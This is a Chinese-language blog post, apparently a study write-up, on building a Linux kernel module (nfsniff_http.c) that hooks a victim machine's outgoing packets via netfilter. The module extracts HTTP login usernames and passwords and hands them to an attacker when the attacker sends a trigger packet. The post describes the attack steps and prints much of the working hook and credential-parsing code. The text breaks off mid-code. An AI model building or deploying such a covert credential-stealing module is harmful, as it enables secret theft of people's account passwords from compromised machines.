本文简介
HTTP协议用于在Web浏览器和网站服务器之间传递信息,以明文方式发送内容,没有任何方式的数据加密,因此只要截获报文就可以很轻松的获取某些关键的信息,比如登录时的用户名和密码。最近学习到LKM编程以及iptables和netfilters编程,本文参考详细原理点击此处里面的nfsniff.c(ftp用户名密码的窃取代码),修改之后的nfsniff_http.c实现了对HTTP协议传输的账号密码的抓取。
大致步骤
假设此时有两台电脑,攻击者和受害者
1.将nfsniff_http.c编译到受害者内核,勾出向外发出的报文,一旦发现有账号密码则记录到内存
2.攻击者运行getpass,向受害者发送暗号
3.受害者接收到暗号报文,将记录的账号密码发送给攻击者
linux内核版本以及操作系统位数问题
参考代码nfsniff.c基于内核版本:2.x,32位系统
修改代码nfsniff_http.c基于Ubuntu 16.04,内核版本:4.10.0,64位系统
两份代码不同之处:
1.钩子函数定义改变
//2.x
unsigned int hook_func(unsigned int hooknum,
struct sk_buff **skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff *)){}
//4.10.0
static unsigned int watch_in(void *priv, struct sk_buff *skb, const struct nf_hook_state *state){}
2.系统位数导致强制类型转换错误
//nfsniff.c
//此处tcp为指针类型,32位系统中大小为4个字节,因此可以强转为同样是4个字节的int类型
data = (char *)((int)tcp + (int)(tcp->doff * 4));
//nfsniff_http.c
//64位系统中指针类型8个字节,因此强转为int会出错,可以转成同样为8字节的long型
data = (char *)((unsigned long)tcp + (unsigned long)(tcp->doff * 4));
利用字符串匹配从http请求报文中抠出账号密码
这里仅抓取用户名和密码,若要匹配的话必须知道登录界面中提交的表单里面是如何定义这两个参数的,当然可以用wireshark抓包分析得到参数名称,这里我们也可以在不抓包的情况下从页面源码获得,首先从界面右键查看页面源码,发现参数定义如下图:
这样我们就可以用查看到的uid和password进行匹配得到我们想要的账号密码信息了,下面看字符串匹配的代码
//Connection是http的一个首部字段名
if (strstr(data,"Connection") != NULL && strstr(data, "uid") != NULL && strstr(data, "password") != NULL) {
/*cookie字段Connection之前,里面存放了以前输入过的信息,其中可能包括以前输入的账号密码,为了不让cookie字段影响我们的匹配,将账号密码的匹配工作从Connection以后开始,因为本次表单提交的数据在数据包所处的位置都在Connection字段之后*/
check_connection = strstr(data,"Connection");
/*代码里的这种printk是用来调试的时候用的,dmesg命令时可以发现代码进入了哪些地方或者在哪里出了问题*/
printk("3333333333333333333333333333333333333333333333333333333333333333");
//用前面查找到的uid匹配出用户名
name = strstr(check_connection,"uid=");
_and = strstr(name,"&");
name += 4;
len = _and - name;
//申请内存,存入uid
if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL)
return;
memset(username, 0x00, len + 2);
for (i = 0; i < len; ++i)
{
*(username + i) = name[i];
}
*(username + len) = '\0';
//用前面查找到的password匹配出密码
passwd = strstr(name,"password=");
_and = strstr(passwd,"&");
passwd += 9;
len = _and - passwd;
if ((password = kmalloc(len + 2, GFP_KERNEL)) == NULL)